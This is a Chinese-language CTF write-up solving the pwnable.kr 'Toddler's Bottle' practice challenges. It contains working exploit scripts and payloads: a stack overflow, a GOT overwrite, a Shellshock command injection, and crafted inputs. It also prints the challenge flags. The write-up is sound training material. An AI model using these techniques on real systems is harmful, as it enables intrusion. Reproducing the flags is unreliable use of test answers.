Pwnable.kr - Toddler's Bottle

Pwnable.kr Toddler's Bottle 练习记录。

fd

查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。

  • 0 - stdin - 标准输入流
  • 1 - stdout - 标准输出流
  • 2 - stderr - 标准错误流

当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision

查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。

构造用于输入的字符串,读取 flag 信息。

1
2
col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
daddy! I just managed to create a hash collision :)

bof

查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。

查看 func 函数的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-0000002C overflowme db 32 dup(?)
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 key dd ?
+0000000C
+0000000C ; end of stack variables

其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。

编写利用脚本。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

payload = b'A' * 0x34
payload += b'\xbe\xba\xfe\xca'

target = remote('pwnable.kr', 9000)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 信息。

得到 flag 信息

flag

下载程序,检测文件经过 UPX 压缩。

检测文件信息

使用 UPX 进行解压处理。

1
2
3
4
5
6
7
8
9
10
>  upx.exe -d ..\flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023

File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/amd64 flag

Unpacked 1 file.

再次检测文件,确定解压完成。

检测文件信息

使用 IDA 进行代码分析,查看 main() 函数。

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}

直接查看硬编码的 flag 信息。

1
2
3
4
5
6
7
.data:00000000006C2070 28 66 49 00 00 00 00 00       flag dq offset aUpxSoundsLikeA
.data:00000000006C2070 ; DATA XREF: main+20↑r

....

.rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o

passcode

查看程序源码,当 passcode1 为 338150 和 passcode2 为 13371337 时得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 函数中,可以看到 passcode1passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。

经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,实现任意地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// edx = 0xffffd0e8 -> name array address
*EDX 0xffffd0e8 —▸ 0xf7e2ada0 (_IO_2_1_stdout_) ◂— 0xfbad2a84

0x804862a <welcome+33> mov eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
► 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>


// ebp - 0x10 = 0xffffd148 -> passcode1 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x8048577 <login+19> mov eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
► 0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

// ebp - 0xc = 0xffffd14c -> passcode2 address
EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
► 0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来实现跳转到任意地址执行,从而绕过校验代码,得到 flag 信息。

查看 .got.plt 中的函数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
passcode@pwnable:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。

通过 fflush() 函数直接跳转到校验成功分支。

1
2
3
4
5
6
7
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE call _puts
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn

借助 Python 进行程序传参,得到 flag 信息。

1
2
3
4
5
passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

random

查看程序源码可知,当输入数据与随机数异或等于 0xdeadbeef 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

由于程序在调用 rand() 函数之前,并未调用 srand() 函数初始化随机数种子,因此系统会以默认的 1 为种子生成随机数,这将导致每次运行程序生成的随机数相同。

本地调试程序,得到生成的随机数 0x6b8b4567。

1
2
3
4
5
6
7
8
9
*RAX  0x6b8b4567

0x4005f4 <main> push rbp
0x4005f5 <main+1> mov rbp, rsp
0x4005f8 <main+4> sub rsp, 0x10
0x4005fc <main+8> mov eax, 0
0x400601 <main+13> call rand@plt <rand@plt>

► 0x400606 <main+18> mov dword ptr [rbp - 4], eax

异或计算得到正确的 key 值为 0xb526fb88,即十进制 3039230856。

运行程序,得到 flag 信息。

1
2
3
4
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

input

查看程序源码,需要满足五个条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00,第 B (66) 个参数为 \x20\x0a\x0d

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

第二个条件,向 stdio 中写入 \x00\x0a\x00\xff,向 stderr 中写入 \x00\x0a\x02\xff

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第三个条件,新增 \xde\xad\xbe\xef 环境变量,设置值为 \xca\xfe\xba\xbe

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

第四个条件,新建 \x0a 文件,内容为 \x00\x00\x00\x00

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef 数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

根据校验条件,编写利用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

import os
import time
import socket
import subprocess

port = 10000

if __name__ == "__main__":
args = list("A" * 100)
args[0] = "/home/input2/input"
args[ord('A')] = ""
args[ord('B')] = "\x20\x0a\x0d"
args[ord('C')] = str(port)

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()
os.write(stdinw, b"\x00\x0a\x00\xff")
os.write(stderrw, b"\x00\x0a\x02\xff")

environ = {b"\xde\xad\xbe\xef": b"\xca\xfe\xba\xbe"}

f = open("\x0a", "w+")
f.write("\x00\x00\x00\x00")
f.close()

target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
time.sleep(2)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("127.0.0.1", port))
server.send(b"\xde\xad\xbe\xef")
server.close()

将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。

1
ln -s /home/input2/flag ./flag

运行脚本,获取 flag 信息。

1
2
3
4
5
6
7
8
9
10
input2@pwnable:/tmp/temp1001$ python3 getflag.py
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)

leg

查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

通过动态调试,分析三个 key 函数的返回值。

查看 key1() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc 中的值为 0x00008ce4,所以 key1() 函数的返回值为 0x00008ce4。

查看 key2() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc 的值为 0x00008d04,因此 key2() 函数的返回值为 0x00008d0c。

查看 main()key3() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
(gdb) disass main
Dump of assembler code for function main:
....
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
....
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

根据 Arm 架构的函数调用特性,寄存器 lr 保存着 key3() 函数的返回地址,因此 key3() 函数的返回值为 0x00008d80。

通过三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

mistake

查看程序源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

由于在 C 语言中,运算符 = 低于运算符 < 的优先级,所以导致 fd 保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0 的比较结果,而不是 /home/mistake/password 的文件指针。

因此 read() 函数实际是从 stdin 中读取数据。这将使得 pw_bufpw_buf2 的内容均可控,从而可以通过校验,得到 flag 信息。

1
2
3
4
5
6
mistake@pwnable:~$ ./mistake
do not bruteforce...
BBBBBBBBBB
input password : CCCCCCCCCC
Password OK
Mommy, the operator priority always confuses me :(

shellshock

查看程序源码,发现题目目录存在 Bash 程序。

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

查看目录文件,由于 flag 与 bash 的权限不同,所以无法直接读取文件内容。

1
2
3
4
5
6
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c

根据题目名称,猜测与 ShellShock 漏洞(CVE-2014-6271)有关。

Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令。

查看题目目录下 Bash 程序的版本。

1
2
3
4
5
6
7
shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

测试 ShellShock 漏洞确实存在。

1
2
3
shellshock@pwnable:~$ env x='() { :;}; echo test' ./bash -c "echo this is a test"
test
this is a test

利用 ShellShock 漏洞读取 flag 信息。

1
2
3
shellshock@pwnable:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

coin1

根据题目要求,需要在有限时间内,找出所给硬币中的假币,可以采用二分法进行计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *


target = remote("0.0.0.0", 9007)

print target.recvuntil("Ready? starting in 3 sec... -\n\t\n")

for j in range(0, 100):
data = target.recvline()
print data

strlist = data.split(' ')
nums = int(strlist[0][2:])
counts = int(strlist[1][2:])

num_start = 0
while (counts > 0):
if(nums == 1):
counts -= 1
target.sendline(str(num_start))
target.recvline()
continue

if(data == 9):
num_start = int(answer)
counts -= 1
target.sendline(answer)
target.recvline()
continue

num_end = num_start + nums / 2
weight = nums / 2 * 10
answer = ''
for i in range(num_start, num_end):
answer += str(i)
answer += ' '

counts -= 1
target.sendline(answer)
data = int(target.recvline())

if(data < weight):
nums = nums / 2
else:
nums = nums - nums / 2
num_start = num_end

target.sendline(str(num_start))
print target.recvline()

print target.recvline()
print 'flag = ' + target.recvline()

target.close()

因为网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。

经过几次运算,可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python get_flag.py
[+] Opening connection to 0.0.0.0 on port 9007: Done

....

N=266 C=9

Correct! (99)

Congrats! get your flag

flag = b1NaRy_S34rch1nG_1s_3asy_p3asy

[*] Closed connection to 0.0.0.0 port 9007